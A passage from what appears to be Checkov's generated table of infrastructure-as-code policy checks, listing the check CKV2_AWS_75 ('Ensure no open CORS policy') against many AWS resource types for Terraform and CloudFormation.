[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3183 | CKV2_AWS_75 | resource | aws_datasync_location_efs | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3184 | CKV2_AWS_75 | resource | aws_datasync_location_efs | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3185 | CKV2_AWS_75 | resource | aws_datasync_location_fsx_lustre_file_system | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3186 | CKV2_AWS_75 | resource | aws_datasync_location_fsx_lustre_file_system | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3187 | CKV2_AWS_75 | resource | aws_datasync_location_fsx_ontap_file_system | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3188 | CKV2_AWS_75 | resource | aws_datasync_location_fsx_ontap_file_system | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3189 | CKV2_AWS_75 | resource | aws_datasync_location_fsx_openzfs_file_system | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3190 | CKV2_AWS_75 | resource | aws_datasync_location_fsx_openzfs_file_system | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3191 | CKV2_AWS_75 | resource | aws_datasync_location_fsx_windows_file_system | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3192 | CKV2_AWS_75 | resource | aws_datasync_location_fsx_windows_file_system | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3193 | CKV2_AWS_75 | resource | aws_datasync_location_hdfs | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3194 | CKV2_AWS_75 | resource | aws_datasync_location_hdfs | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3195 | CKV2_AWS_75 | resource | aws_datasync_location_nfs | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3196 | CKV2_AWS_75 | resource | aws_datasync_location_nfs | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3197 | CKV2_AWS_75 | resource | aws_datasync_location_object_storage | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3198 | CKV2_AWS_75 | resource | aws_datasync_location_object_storage | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3199 | CKV2_AWS_75 | resource | aws_datasync_location_s3 | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3200 | CKV2_AWS_75 | resource | aws_datasync_location_s3 | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3201 | CKV2_AWS_75 | resource | aws_datasync_location_smb | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3202 | CKV2_AWS_75 | resource | aws_datasync_location_smb | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3203 | CKV2_AWS_75 | resource | aws_datasync_task | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3204 | CKV2_AWS_75 | resource | aws_datasync_task | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3205 | CKV2_AWS_75 | resource | aws_datazone_asset_type | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3206 | CKV2_AWS_75 | resource | aws_datazone_asset_type | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3207 | CKV2_AWS_75 | resource | aws_datazone_domain | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3208 | CKV2_AWS_75 | resource | aws_datazone_domain | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3209 | CKV2_AWS_75 | resource | aws_datazone_environment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3210 | CKV2_AWS_75 | resource | aws_datazone_environment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3211 | CKV2_AWS_75 | resource | aws_datazone_environment_blueprint_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3212 | CKV2_AWS_75 | resource | aws_datazone_environment_blueprint_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3213 | CKV2_AWS_75 | resource | aws_datazone_environment_profile | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3214 | CKV2_AWS_75 | resource | aws_datazone_environment_profile | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3215 | CKV2_AWS_75 | resource | aws_datazone_form_type | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3216 | CKV2_AWS_75 | resource | aws_datazone_form_type | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3217 | CKV2_AWS_75 | resource | aws_datazone_glossary | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3218 | CKV2_AWS_75 | resource | aws_datazone_glossary | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3219 | CKV2_AWS_75 | resource | aws_datazone_glossary_term | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3220 | CKV2_AWS_75 | resource | aws_datazone_glossary_term | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3221 | CKV2_AWS_75 | resource | aws_datazone_project | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3222 | CKV2_AWS_75 | resource | aws_datazone_project | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3223 | CKV2_AWS_75 | resource | aws_datazone_user_profile | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3224 | CKV2_AWS_75 | resource | aws_datazone_user_profile | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3225 | CKV2_AWS_75 | resource | aws_dax_cluster | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3226 | CKV2_AWS_75 | resource | aws_dax_cluster | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3227 | CKV2_AWS_75 | resource | aws_dax_parameter_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3228 | CKV2_AWS_75 | resource | aws_dax_parameter_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3229 | CKV2_AWS_75 | resource | aws_dax_subnet_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3230 | CKV2_AWS_75 | resource | aws_dax_subnet_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3231 | CKV2_AWS_75 | resource | aws_db_cluster_snapshot | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3232 | CKV2_AWS_75 | resource | aws_db_cluster_snapshot | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3233 | CKV2_AWS_75 | resource | aws_db_event_subscription | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3234 | CKV2_AWS_75 | resource | aws_db_event_subscription | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3235 | CKV2_AWS_75 | resource | aws_db_instance | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3236 | CKV2_AWS_75 | resource | aws_db_instance | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3237 | CKV2_AWS_75 | resource | aws_db_instance_automated_backups_replication | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3238 | CKV2_AWS_75 | resource | aws_db_instance_automated_backups_replication | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3239 | CKV2_AWS_75 | resource | aws_db_instance_role_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3240 | CKV2_AWS_75 | resource | aws_db_instance_role_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3241 | CKV2_AWS_75 | resource | aws_db_option_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3242 | CKV2_AWS_75 | resource | aws_db_option_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3243 | CKV2_AWS_75 | resource | aws_db_parameter_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3244 | CKV2_AWS_75 | resource | aws_db_parameter_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3245 | CKV2_AWS_75 | resource | aws_db_proxy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3246 | CKV2_AWS_75 | resource | aws_db_proxy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3247 | CKV2_AWS_75 | resource | aws_db_proxy_default_target_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3248 | CKV2_AWS_75 | resource | aws_db_proxy_default_target_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3249 | CKV2_AWS_75 | resource | aws_db_proxy_endpoint | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3250 | CKV2_AWS_75 | resource | aws_db_proxy_endpoint | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3251 | CKV2_AWS_75 | resource | aws_db_proxy_target | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3252 | CKV2_AWS_75 | resource | aws_db_proxy_target | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3253 | CKV2_AWS_75 | resource | aws_db_security_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3254 | CKV2_AWS_75 | resource | aws_db_security_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3255 | CKV2_AWS_75 | resource | aws_db_snapshot | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3256 | CKV2_AWS_75 | resource | aws_db_snapshot | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3257 | CKV2_AWS_75 | resource | aws_db_snapshot_copy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3258 | CKV2_AWS_75 | resource | aws_db_snapshot_copy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3259 | CKV2_AWS_75 | resource | aws_db_subnet_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3260 | CKV2_AWS_75 | resource | aws_db_subnet_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3261 | CKV2_AWS_75 | resource | aws_default_network_acl | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3262 | CKV2_AWS_75 | resource | aws_default_network_acl | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3263 | CKV2_AWS_75 | resource | aws_default_route_table | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3264 | CKV2_AWS_75 | resource | aws_default_route_table | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3265 | CKV2_AWS_75 | resource | aws_default_security_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3266 | CKV2_AWS_75 | resource | aws_default_security_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3267 | CKV2_AWS_75 | resource | aws_default_subnet | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3268 | CKV2_AWS_75 | resource | aws_default_subnet | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3269 | CKV2_AWS_75 | resource | aws_default_vpc | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3270 | CKV2_AWS_75 | resource | aws_default_vpc | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3271 | CKV2_AWS_75 | resource | aws_default_vpc_dhcp_options | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3272 | CKV2_AWS_75 | resource | aws_default_vpc_dhcp_options | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3273 | CKV2_AWS_75 | resource | aws_detective_graph | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3274 | CKV2_AWS_75 | resource | aws_detective_graph | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3275 | CKV2_AWS_75 | resource | aws_detective_invitation_accepter | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3276 | CKV2_AWS_75 | resource | aws_detective_invitation_accepter | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3277 | CKV2_AWS_75 | resource | aws_detective_member | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3278 | CKV2_AWS_75 | resource | aws_detective_member | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3279 | CKV2_AWS_75 | resource | aws_detective_organization_admin_account | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3280 | CKV2_AWS_75 | resource | aws_detective_organization_admin_account | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3281 | CKV2_AWS_75 | resource | aws_detective_organization_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3282 | CKV2_AWS_75 | resource | aws_detective_organization_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3283 | CKV2_AWS_75 | resource | aws_devicefarm_device_pool | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3284 | CKV2_AWS_75 | resource | aws_devicefarm_device_pool | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3285 | CKV2_AWS_75 | resource | aws_devicefarm_instance_profile | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3286 | CKV2_AWS_75 | resource | aws_devicefarm_instance_profile | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3287 | CKV2_AWS_75 | resource | aws_devicefarm_network_profile | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3288 | CKV2_AWS_75 | resource | aws_devicefarm_network_profile | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3289 | CKV2_AWS_75 | resource | aws_devicefarm_project | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3290 | CKV2_AWS_75 | resource | aws_devicefarm_project | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3291 | CKV2_AWS_75 | resource | aws_devicefarm_test_grid_project | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3292 | CKV2_AWS_75 | resource | aws_devicefarm_test_grid_project | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3293 | CKV2_AWS_75 | resource | aws_devicefarm_upload | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3294 | CKV2_AWS_75 | resource | aws_devicefarm_upload | Ensure no open 